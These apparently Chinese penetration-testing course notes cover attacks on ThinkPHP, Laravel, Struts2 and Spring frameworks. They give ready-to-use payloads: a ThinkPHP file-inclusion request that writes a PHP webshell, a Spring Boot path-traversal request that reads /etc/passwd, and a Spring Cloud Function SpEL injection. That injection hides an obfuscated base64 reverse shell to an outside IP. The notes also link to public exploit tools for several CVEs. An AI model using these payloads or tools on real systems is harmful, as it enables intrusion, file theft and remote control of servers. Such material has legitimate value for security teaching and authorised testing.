知识点:
1、PHP-框架安全-Thinkphp&Laravel
2、J2EE-框架安全-SpringBoot&Struts2
一、演示案例-服务攻防-PHP-框架安全-ThinkPHP&Laravel
ThinkPHP
ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架。
综合工具:武器库-Thinkphp专检(3-6版本)
下载地址:https://www.one-fox.cn/th/index.html
1、版本6.X文件包含
在其6.0.13版本及以前


bash
/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php


2、版本5.X命令执行
其5.0.23以前的版本,5.0.22/5.1.29等。


Laravel
Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。

CVE-2021-3129 RCE
影响版本:Laravel <= 8.4.2

利用工具:https://github.com/zhzyker/CVE-2021-3129



利用工具:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
二、演示案例-服务攻防-J2EE-框架安全-Struts2&Spring
Struts2
Apache Struts2是一个流行的开发Web应用框架,用于开发JavaEE应用。

利用工具:https://github.com/abc123info/Struts2VulsScanTools



Spring

1、Spring-Core-RCE(CVE-2022-22965)
存在于Spring框架以及衍生的框架中,并JDK9.0及以上版本会受到影响。


利用工具:https://github.com/wjl110/CVE-2022-22965_Spring_Core_RCE


2、Spring Boot目录遍历(CVE-2021-21234)
Spring-boot-actuator-logview 0.2.13之前版本存在路径遍历漏洞,攻击者可通过该缺陷读取系统任意文件。

bash
/manage/log/view?filename=etc/passwd&base=../../../../../../

3、Spring Cloud Function Spel表达式注入 (CVE-2022-22963)
Spring Cloud Function提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda这样的 FaaS(函数即服务,function as a service)平台。
影响版本:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
文章参考:https://developer.aliyun.com/article/1160011
bash
POST:/functionRouter
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")
123





4、Spring Cloud Gateway命令执行 (CVE-2022-22947)
文章参考:https://cloud.tencent.com/developer/article/2164533
Spring Cloud Gateway是Spring中的一个API网关。
影响版本:Spring Cloud Gateway 3.1.x < 3.1.1、Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不受支持的Spring Cloud Gateway 版本

手工复现参考:https://cloud.tencent.com/developer/article/2164533
推荐使用综合CVE利用工具

5、监控配置不当利用
参考文章:https://superhero.blog.csdn.net/article/details/147804787?spm=1011.2415.3001.5331
6、综合CVE利用工具
https://github.com/0x727/SpringBootExploit
https://github.com/13exp/SpringBoot-Scan-GUI